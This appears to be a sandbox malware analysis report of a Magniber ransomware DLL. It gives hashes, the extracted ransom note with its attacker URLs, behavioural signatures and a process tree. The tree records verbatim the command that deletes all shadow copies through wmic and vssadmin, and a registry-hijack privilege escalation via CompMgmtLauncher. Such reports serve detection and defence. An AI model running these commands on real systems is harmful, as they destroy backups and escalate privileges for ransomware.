Analysis
-
max time kernel
245s -
max time network
300s -
platform
windows7_x64 -
resource
win7v20210408 -
submitted
29-08-2021 11:36
Static task
static1
Behavioral task
behavioral1
Sample
3.dll
Resource
win7v20210408
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
3.dll
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
-
Target
3.dll
-
Size
38KB
-
MD5
8ca2c9564335afda47c143bf9342df82
-
SHA1
414b57313341832f875133db8f4e5a43059546c8
-
SHA256
5586765852943b5d8bc647bfeaebf0fb5894b5fd5839b749cb8d41068d22aebe
-
SHA512
7f210454015fcced266fae77c2da3bea740ee91800fa49b4e5f242ae854ea386758dcb29ff96538b3d424e9a4c198c067683a243bc7aae3bc06c1413b85f4e66
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\Desktop\readme.txt
Family
magniber
Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED!
====================================================================================================
Your files are NOT damaged! Your files are modified only. This modification is reversible.
The only 1 way to decrypt your files is to receive the private key and decryption program.
Any attempts to restore your files with the third party software will be fatal for your files!
====================================================================================================
To receive the private key and decryption program follow the instructions below:
1. Download "Tor Browser" from https://www.torproject.org/ and install it.
2. In the "Tor Browser" open your personal page here:
http://32ec5c7046784a708eyhocbpfzn.ntjflrx6uhwcmfhnn3yewv2wfhtqtjyfkvyrvjz4wuo6uw33yw7sfiid.onion/yhocbpfzn
Note! This page is available via "Tor Browser" only.
====================================================================================================
Also you can use temporary addresses on your personal page without using "Tor Browser":
http://32ec5c7046784a708eyhocbpfzn.bitslet.uno/yhocbpfzn
http://32ec5c7046784a708eyhocbpfzn.canyour.xyz/yhocbpfzn
http://32ec5c7046784a708eyhocbpfzn.ballcan.xyz/yhocbpfzn
http://32ec5c7046784a708eyhocbpfzn.dogper.space/yhocbpfzn
Note! These are temporary addresses! They will be available for a limited amount of time!
URLs
http://32ec5c7046784a708eyhocbpfzn.ntjflrx6uhwcmfhnn3yewv2wfhtqtjyfkvyrvjz4wuo6uw33yw7sfiid.onion/yhocbpfzn
http://32ec5c7046784a708eyhocbpfzn.bitslet.uno/yhocbpfzn
http://32ec5c7046784a708eyhocbpfzn.canyour.xyz/yhocbpfzn
http://32ec5c7046784a708eyhocbpfzn.ballcan.xyz/yhocbpfzn
http://32ec5c7046784a708eyhocbpfzn.dogper.space/yhocbpfzn
Signatures
-
Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
-
Process spawned unexpected child process 12 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1828 968 cmd.exe 39 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 684 968 vssadmin.exe 39 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2000 968 vssadmin.exe 39 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1344 968 cmd.exe 39 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 796 968 vssadmin.exe 39 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 220 968 vssadmin.exe 39 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1516 968 cmd.exe 39 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1532 968 vssadmin.exe 39 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1984 968 vssadmin.exe 39 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1364 968 cmd.exe 39 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 224 968 vssadmin.exe 39 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1688 968 vssadmin.exe 39 -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies extensions of user files 7 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\SubmitDismount.tiff => C:\Users\Admin\Pictures\SubmitDismount.tiff.yhocbpfzn Dwm.exe File renamed C:\Users\Admin\Pictures\EditCompress.raw => C:\Users\Admin\Pictures\EditCompress.raw.yhocbpfzn Dwm.exe File renamed C:\Users\Admin\Pictures\ResetUnpublish.crw => C:\Users\Admin\Pictures\ResetUnpublish.crw.yhocbpfzn Dwm.exe File renamed C:\Users\Admin\Pictures\LimitRepair.tif => C:\Users\Admin\Pictures\LimitRepair.tif.yhocbpfzn Dwm.exe File renamed C:\Users\Admin\Pictures\SelectMount.png => C:\Users\Admin\Pictures\SelectMount.png.yhocbpfzn Dwm.exe File renamed C:\Users\Admin\Pictures\StepCompress.tif => C:\Users\Admin\Pictures\StepCompress.tif.yhocbpfzn Dwm.exe File opened for modification C:\Users\Admin\Pictures\SubmitDismount.tiff Dwm.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 368 set thread context of 1124 368 rundll32.exe 15 PID 368 set thread context of 1176 368 rundll32.exe 14 PID 368 set thread context of 1204 368 rundll32.exe 13 -
Interacts with shadow copies 2 TTPs 8 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1984 vssadmin.exe 224 vssadmin.exe 1688 vssadmin.exe 684 vssadmin.exe 2000 vssadmin.exe 796 vssadmin.exe 220 vssadmin.exe 1532 vssadmin.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = c0c693c0db9cd701 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000a17965e101997246b71c53797f2014fd00000000020000000000106600000001000020000000297670d6704dbde7883e01ded9a995135532724e143f453fef0d6e8294d229eb000000000e80000000020000200000003e6b0039f481de8f235993b79bfaa1a1873a3e6c6cf1f59041219ec67c10ced9200000008717f053937174f8a822c73f77738e9a11bacea9ca72653eef77ce205c0ad28240000000bc27420459a71e80b714e4dbf72c2fe8a9827d718c61dfa6a74dc717d030bbddc8dd1b60f20e86e51fb03b48679c732afcf84ca5839cbfc782f4ba4ec7558a84 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "337009504" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{E7440CA1-08CE-11EC-9E73-C65640CBF56B} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000a17965e101997246b71c53797f2014fd000000000200000000001066000000010000200000002c2644e028346f5059b96ba6346e9755a61665b34b7a619887bb69284e41fa2e000000000e800000000200002000000006ad83a851bb230e17441ce7d8fa95a6a45ea57af19e0d4921549b7f27bac0bb900000007750a2fba635051e6a3d58cc7dac4a4501c33dde89f870f806577bd18ab182eb30ac3d9ee276f71aea68cc28c4be5c57335c16e5c989ec4be0ee6aae4ec39a71e5cf8bc95713e618b3b999704030f022ef4f160eeef7de5564b42b3ce9a8864b546c491c0c468adf26eabd9d9aec2649f809ab16dc097dbd812585eff995133925faeb670785ff2eee39b7e8d0d1d5334000000050ac41036029745d8266c24fed952346bc220ee1af04bca808dd043ad7cf70d05d384a935a828d61d26b18e7be24b32a6c5e68e94d58845534069f9ab9a234a5 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe -
Modifies registry class 11 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" rundll32.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command taskhost.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command rundll32.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command Explorer.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell Dwm.exe Key created \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" Dwm.exe Set value (str) \REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\"" taskhost.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 1008 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 368 rundll32.exe 368 rundll32.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1204 Explorer.EXE -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 368 rundll32.exe 368 rundll32.exe 368 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeIncreaseQuotaPrivilege 436 wmic.exe Token: SeSecurityPrivilege 436 wmic.exe Token: SeTakeOwnershipPrivilege 436 wmic.exe Token: SeLoadDriverPrivilege 436 wmic.exe Token: SeSystemProfilePrivilege 436 wmic.exe Token: SeSystemtimePrivilege 436 wmic.exe Token: SeProfSingleProcessPrivilege 436 wmic.exe Token: SeIncBasePriorityPrivilege 436 wmic.exe Token: SeCreatePagefilePrivilege 436 wmic.exe Token: SeBackupPrivilege 436 wmic.exe Token: SeRestorePrivilege 436 wmic.exe Token: SeShutdownPrivilege 436 wmic.exe Token: SeDebugPrivilege 436 wmic.exe Token: SeSystemEnvironmentPrivilege 436 wmic.exe Token: SeRemoteShutdownPrivilege 436 wmic.exe Token: SeUndockPrivilege 436 wmic.exe Token: SeManageVolumePrivilege 436 wmic.exe Token: 33 436 wmic.exe Token: 34 436 wmic.exe Token: 35 436 wmic.exe Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeIncreaseQuotaPrivilege 2040 WMIC.exe Token: SeSecurityPrivilege 2040 WMIC.exe Token: SeTakeOwnershipPrivilege 2040 WMIC.exe Token: SeLoadDriverPrivilege 2040 WMIC.exe Token: SeSystemProfilePrivilege 2040 WMIC.exe Token: SeSystemtimePrivilege 2040 WMIC.exe Token: SeProfSingleProcessPrivilege 2040 WMIC.exe Token: SeIncBasePriorityPrivilege 2040 WMIC.exe Token: SeCreatePagefilePrivilege 2040 WMIC.exe Token: SeBackupPrivilege 2040 WMIC.exe Token: SeRestorePrivilege 2040 WMIC.exe Token: SeShutdownPrivilege 2040 WMIC.exe Token: SeDebugPrivilege 2040 WMIC.exe Token: SeSystemEnvironmentPrivilege 2040 WMIC.exe Token: SeRemoteShutdownPrivilege 2040 WMIC.exe Token: SeUndockPrivilege 2040 WMIC.exe Token: SeManageVolumePrivilege 2040 WMIC.exe Token: 33 2040 WMIC.exe Token: 34 2040 WMIC.exe Token: 35 2040 WMIC.exe Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeShutdownPrivilege 1204 Explorer.EXE Token: SeIncreaseQuotaPrivilege 436 wmic.exe Token: SeSecurityPrivilege 436 wmic.exe Token: SeTakeOwnershipPrivilege 436 wmic.exe Token: SeLoadDriverPrivilege 436 wmic.exe Token: SeIncreaseQuotaPrivilege 2040 WMIC.exe Token: SeSystemProfilePrivilege 436 wmic.exe Token: SeSecurityPrivilege 2040 WMIC.exe Token: SeSystemtimePrivilege 436 wmic.exe Token: SeProfSingleProcessPrivilege 436 wmic.exe Token: SeIncBasePriorityPrivilege 436 wmic.exe Token: SeCreatePagefilePrivilege 436 wmic.exe Token: SeBackupPrivilege 436 wmic.exe Token: SeRestorePrivilege 436 wmic.exe Token: SeShutdownPrivilege 436 wmic.exe Token: SeDebugPrivilege 436 wmic.exe Token: SeTakeOwnershipPrivilege 2040 WMIC.exe Token: SeSystemEnvironmentPrivilege 436 wmic.exe Token: SeLoadDriverPrivilege 2040 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 544 iexplore.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 544 iexplore.exe 544 iexplore.exe 1000 IEXPLORE.EXE 1000 IEXPLORE.EXE 1000 IEXPLORE.EXE 1000 IEXPLORE.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1176 wrote to memory of 1008 1176 Dwm.exe 29 PID 1176 wrote to memory of 1008 1176 Dwm.exe 29 PID 1176 wrote to memory of 1008 1176 Dwm.exe 29 PID 1176 wrote to memory of 328 1176 Dwm.exe 30 PID 1176 wrote to memory of 328 1176 Dwm.exe 30 PID 1176 wrote to memory of 328 1176 Dwm.exe 30 PID 1176 wrote to memory of 436 1176 Dwm.exe 31 PID 1176 wrote to memory of 436 1176 Dwm.exe 31 PID 1176 wrote to memory of 436 1176 Dwm.exe 31 PID 1176 wrote to memory of 1152 1176 Dwm.exe 32 PID 1176 wrote to memory of 1152 1176 Dwm.exe 32 PID 1176 wrote to memory of 1152 1176 Dwm.exe 32 PID 1152 wrote to memory of 2040 1152 cmd.exe 36 PID 1152 wrote to memory of 2040 1152 cmd.exe 36 PID 1152 wrote to memory of 2040 1152 cmd.exe 36 PID 328 wrote to memory of 544 328 cmd.exe 38 PID 328 wrote to memory of 544 328 cmd.exe 38 PID 328 wrote to memory of 544 328 cmd.exe 38 PID 1828 wrote to memory of 784 1828 cmd.exe 45 PID 1828 wrote to memory of 784 1828 cmd.exe 45 PID 1828 wrote to memory of 784 1828 cmd.exe 45 PID 544 wrote to memory of 1000 544 iexplore.exe 48 PID 544 wrote to memory of 1000 544 iexplore.exe 48 PID 544 wrote to memory of 1000 544 iexplore.exe 48 PID 544 wrote to memory of 1000 544 iexplore.exe 48 PID 784 wrote to memory of 1588 784 CompMgmtLauncher.exe 49 PID 784 wrote to memory of 1588 784 CompMgmtLauncher.exe 49 PID 784 wrote to memory of 1588 784 CompMgmtLauncher.exe 49 PID 1124 wrote to memory of 1564 1124 taskhost.exe 54 PID 1124 wrote to memory of 1564 1124 taskhost.exe 54 PID 1124 wrote to memory of 1564 1124 taskhost.exe 54 PID 1124 wrote to memory of 1848 1124 taskhost.exe 55 PID 1124 wrote to memory of 1848 1124 taskhost.exe 55 PID 1124 wrote to memory of 1848 1124 taskhost.exe 55 PID 1848 wrote to memory of 228 1848 cmd.exe 58 PID 1848 wrote to memory of 228 1848 cmd.exe 58 PID 1848 wrote to memory of 228 1848 cmd.exe 58 PID 1344 wrote to memory of 1668 1344 cmd.exe 63 PID 1344 wrote to memory of 1668 1344 cmd.exe 63 PID 1344 wrote to memory of 1668 1344 cmd.exe 63 PID 1668 wrote to memory of 1516 1668 CompMgmtLauncher.exe 65 PID 1668 wrote to memory of 1516 1668 CompMgmtLauncher.exe 65 PID 1668 wrote to memory of 1516 1668 CompMgmtLauncher.exe 65 PID 1204 wrote to memory of 1348 1204 Explorer.EXE 68 PID 1204 wrote to memory of 1348 1204 Explorer.EXE 68 PID 1204 wrote to memory of 1348 1204 Explorer.EXE 68 PID 1204 wrote to memory of 1556 1204 Explorer.EXE 70 PID 1204 wrote to memory of 1556 1204 Explorer.EXE 70 PID 1204 wrote to memory of 1556 1204 Explorer.EXE 70 PID 1556 wrote to memory of 1960 1556 cmd.exe 72 PID 1556 wrote to memory of 1960 1556 cmd.exe 72 PID 1556 wrote to memory of 1960 1556 cmd.exe 72 PID 1516 wrote to memory of 1840 1516 cmd.exe 77 PID 1516 wrote to memory of 1840 1516 cmd.exe 77 PID 1516 wrote to memory of 1840 1516 cmd.exe 77 PID 1840 wrote to memory of 1668 1840 CompMgmtLauncher.exe 78 PID 1840 wrote to memory of 1668 1840 CompMgmtLauncher.exe 78 PID 1840 wrote to memory of 1668 1840 CompMgmtLauncher.exe 78 PID 368 wrote to memory of 1588 368 rundll32.exe 82 PID 368 wrote to memory of 1588 368 rundll32.exe 82 PID 368 wrote to memory of 1588 368 rundll32.exe 82 PID 368 wrote to memory of 1432 368 rundll32.exe 83 PID 368 wrote to memory of 1432 368 rundll32.exe 83 PID 368 wrote to memory of 1432 368 rundll32.exe 83
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1204 -
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\3.dll,#12⤵
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:368 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1588
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""3⤵PID:1432
-
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"4⤵PID:812
-
-
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:1348
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:1960
-
-
-
C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Windows\system32\notepad.exenotepad.exe C:\Users\Public\readme.txt2⤵
- Opens file in notepad (likely ransom note)
PID:1008
-
-
C:\Windows\system32\cmd.execmd /c "start http://32ec5c7046784a708eyhocbpfzn.bitslet.uno/yhocbpfzn^&1^&33450903^&87^&351^&12"2⤵
- Suspicious use of WriteProcessMemory
PID:328 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://32ec5c7046784a708eyhocbpfzn.bitslet.uno/yhocbpfzn&1&33450903&87&351&123⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:544 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:544 CREDAT:275457 /prefetch:24⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:1000
-
-
-
-
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:436
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1152 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2040
-
-
-
C:\Windows\system32\taskhost.exe"taskhost.exe"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1124 -
C:\Windows\system32\wbem\wmic.exeC:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"2⤵PID:1564
-
-
C:\Windows\system32\cmd.execmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""2⤵
- Suspicious use of WriteProcessMemory
PID:1848 -
C:\Windows\system32\wbem\WMIC.exeC:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"3⤵PID:228
-
-
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1828 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:784 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1588
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:684
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:1148
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2000
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1344 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1668 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1516
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:796
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:220
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵
- Suspicious use of WriteProcessMemory
PID:1840 -
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1668
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1532
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1984
-
C:\Windows\system32\cmd.execmd /c CompMgmtLauncher.exe1⤵
- Process spawned unexpected child process
PID:1364 -
C:\Windows\system32\CompMgmtLauncher.exeCompMgmtLauncher.exe2⤵PID:1920
-
C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:1700
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:224
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:1688